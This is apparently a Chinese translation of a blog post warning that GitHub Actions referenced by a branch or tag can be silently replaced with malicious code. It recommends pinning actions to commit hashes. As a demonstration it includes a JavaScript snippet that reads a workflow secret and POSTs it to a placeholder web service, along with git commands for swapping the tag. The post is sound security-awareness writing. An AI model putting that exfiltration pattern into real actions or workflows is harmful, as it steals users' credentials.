GitHub Action 有风险?!
GitHub 的 action 中有可能插入了恶意代码,即便有些加了标签。
作者 | Julien Renaux
译者 | 弯月,责编 | 屠敏
出品 | CSDN(ID:CSDNnews)
以下为译文:
一切始于12月中旬我发布的一条推文:
我有一种预感,使用从Github marketplace中找到的Actions有可能会泄露敏感数据,例如访问令牌等。
问题
你可以在GitHub 的 Marketplace 发现很多流行的 Action,而它们在执行任务时都需要秘钥。
例如,如果想构建一个 Docker 镜像并发布到镜像仓库,你可以使用Action:elgohr/Publish-Docker-Github-Action。这是执行这类任务时最受欢迎的action,但它不是GitHub创建的,也并非由GitHub维护。
仔细阅读这个action的文档,你会发现它需要 docker 镜像仓库的用户名和密码。
- name: Publish to Registryuses: elgohr/Publish-Docker-Github-Action@masterwith:name: myDocker/repositoryusername: ${{ secrets.DOCKER_USERNAME }}password: ${{ secrets.DOCKER_PASSWORD }}
我们中有多少人会去查看action的代码,检查其中是否包含恶意代码?我猜没有人会这么做。我们都会自动相信作者。
想象一下,几年来GitHub上成千上万的工作流程都是用了这个 action。
如果我们信赖的这位作者决定让其他人来负责这些代码的后续支持(开源行业经常会发生这种事情),那么将来会发生什么?
任何一个维护人员都可以更新分支或标签
这就是问题所在!
为了向你展示这个问题,我创建了一个action:shprink/nonharmful-and-must-have-actions。这个action看起来很合法,名字似乎也值得信赖。
使用它的时候,你需要传入一个密钥:
- uses: shprink/nonharmful-and-must-have-actions@v1with:my-secret: ${{ secrets.YOUR_SECRET }}
代码(见下文)其实什么都没有干,它获取了密钥,然后干了一些合法的事情(发布docker镜像、npm包等)。
try {const mySecret = core.getInput("my-secret");console.log(`DO SOMETHING REALLY COOL WITH THE SECRET FOR YEARS`);
} catch (error) {core.setFailed(error.message);
}
这个 action 被标记为v1。 不幸的是,标签可以用Git进行替换。
为此,首先你需要在本地删除这个标签,然后通过如下命令远程删除它:
$ git tag -d v1
$ git push --delete origin v1
接下来,我们可以添加恶意代码,例如将密钥发送到Web服务:
try {const mySecret = core.getInput("my-secret");console.log(`ATTEMPTING TO STORE THE SECRET VIA AN HTTP CALL`);request.post("https://jsonplaceholder.typicode.com/posts",{json: {title: "store my stolen secret somewhere",body: mySecret,userId: 1},headers: { "Content-type": "application/json; charset=UTF-8" }},(error, res, body) => {if (error) {console.error(error);return;}console.log(`SUCCESSFULLY STORE SOMEONE SECRET`, res.statusCode, body);});
} catch (error) {core.setFailed(error.message);
}
当 action 的用户重新运行他们的工作流程时,他们将使用“新” v1,因此他们宝贵的密钥就会被泄露。
、
解决方案:使用提交哈希作为版本
正如GitHub上的@AlainHelaili在Twitter上提到的那样,你不应该checkout分支或标签(这两者都不安全),你应该checkout提交哈希:
每个哈希都是唯一的,而且你不能使用同一个SHA-1重写历史记录。
这是一个很好的解决方案,但是我没有看到任何文档鼓励这种做法。我看过的所有文档都使用分支或标签…
从历史教训中学习经验
不久前,NPM的left-pad出现了完全相同的问题,该软件包从npm仓库中撤下后,整个互联网都被破坏。
没过多久,npm就决定修改撤销政策。
修改后的原则是,24小时之后不能撤销某个版本,而且也不能替换以前用过的标签。
我认为GitHub应该遵循相同的方式,防止用户取消版本发布或替换标签。
原文:https://julienrenaux.fr/2019/12/20/github-actions-security-risk/
本文为 CSDN 翻译,转载请注明来源出处。
热 文 推 荐
☞达摩院十大科技趋势发布:2020 非同小可!
☞为什么很多程序员没有升级到架构师?
☞如何通过 Web 实现防御木马、病毒...... | 原力计划
☞2019 年被“杀”死的那些技术!
☞暴力裁员、爬虫被抓、QQ 注销……2019 年程序员大事记
☞大数据中台之Kafka,到底好在哪里?
☞新年首日涨姿势不能停:召回→排序→重排技术演进趋势深度总结
☞“区块链岛”女记者调挖矿事件时惨遭暗杀,时隔2年依旧无法沉冤昭雪……
你点的每个“在看”,我都认真当成了喜欢
GitHub Action 有风险?!相关推荐
- GitHub Action + ACK:云原生 DevOps 落地利器
作者 | 瑶靖 来源 | 阿里巴巴云原生公众号 据信通院<中国 DevOps 现状调查报告(2020年)>显示,63% 的企业已经实践落地 DevOps,采用持续交付流水线打通开发.测试. ...
- GitHub Action + ACK:云原生 DevOps 落地利
简介: 据信通院<中国 DevOps 现状调查报告(2020年)>显示,63% 的企业已经实践落地 DevOps,采用持续交付流水线打通开发.测试.部署和运维多个环节.但是依然有 20% ...
- 如何使用GitHub Action自动发布JAR到Maven仓库
之前发布开源项目Payment Spring Boot[1]到 Maven 中央仓库我都是手动执行mvn deploy,在CI/CD大行其道的今天使用这种方式有点"原始".于是我一 ...
- 使用Github Action发布函数到阿里云serverless平台
简介: 本文简述了如何通过自定义Github Action自动化部署云函数到阿里云serverless平台中 阿里云提供了函数计算,即serverless支持.同时阿里云还提供了fun cli命令行工 ...
- 最全总结,GitHub Action自动化部署
GitHub Action简介 GitHub Actions使你可以直接在你的GitHub库中创建自定义的工作流,工作流指的就是自动化的流程,比如构建.测试.打包.发布.部署等等,也就是说你可以直接进 ...
- 什么样的 python 可以可谓专业 PyPI 项目?刚刚学到三个概念:pep8、Sphinx、pytest与GitHub Action的集成
前言: 最近在读很火的 tianshou (基于 pytorch 提供深度强化学习算法的简易接口),两个清华本科生做的.很规范.很优秀的项目. 做出来的项目,想要让别人使用.维护.建立良性可持续社区, ...
- Github Action入门
github action 概念介绍 能力介绍 支持分支 build, test, package, release, or deploy 支持 end-to-end continuous integ ...
- K8S 生态周报| Docker V2 GitHub Action 宣布 GA
「K8S 生态周报」内容主要包含我所接触到的 K8S 生态相关的每周值得推荐的一些信息.欢迎订阅知乎专栏「k8s生态」[1]. Docker V2 GitHub Action 已 GA Docker ...
- github Action使用
需求 最近想实现一个自动部署惊天博客的功能,我有一个静态博客项目,是使用hugo进行编译和部署的,之前自己写了一个脚本将变动的博客自动编译部署到github page 上,也不是很麻烦.但是需要在本机 ...
最新文章
- C#读取excel数据到datatable中
- Day 21 20190205 老男孩python学习第21天 内容整理
- 使用WildFly 9和Jolokia监视DevOps样式
- Windows Phone 7.1 “芒果” SDK Beta 下载地址
- wps表格粗线和细线区别_详解论文中的表格技术
- linux gnome_GNOME,生日快乐:喜欢这个Linux桌面的8个理由
- tcplayer currenttime设置不成功_为什么你的“会员体系”不成功?权益设置很重要...
- %02 java_02_Java语法
- WPF: 本地化(Localization) 实现
- 美国空手道俱乐部的 Python 库原来长这样!
- Java ArrayList的Array,Array的ArrayList
- windows mysql memcached,Windows上的Memcached(不是memcache)PHP扩展
- 一个简单的网页版钢琴(用到JQuery)
- pd.to_datetime函数函数获取相应时间维度指标(isocalendar函数用法)
- 关爱中老年健康,践行康养华夏,中老年春晚《康养华夏》栏目启动大会在广州盛大举行
- Windows 检测PPT WPS 幻灯片播放并获取窗口句柄
- [乡土民间故事_徐苟三传奇]第四四回_赵员外苕吃假香肠
- MATLAB如何生成scr文件,基于SCR脚本文件的MatlabAutoCAD结合使用
- 考研经验贴(一):什么可以让你考研坚持到底
- ava查询mysql的数据_【技术综述】AVA-第一个大规模的美学质量评估数据库
热门文章
- saltstack远程操作WINDOWS的POWERSHELL脚本
- (爱加密系列教程十二) 如何防止jd-gui查看代码
- Eclipse CDT 编译wxWidgets
- 《SQL高级应用和数据仓库基础(MySQL版)》作业 ·005
- leetcode 997 找到小镇的法官
- php base64 gzip加密,PHP base64+gzinflate压缩加密和解密算法
- PAT乙级1025反转链表 25(分)
- python矩阵转置与zip(*)的使用
- C++奇特的递归模板式
- flask(四)jinja2模板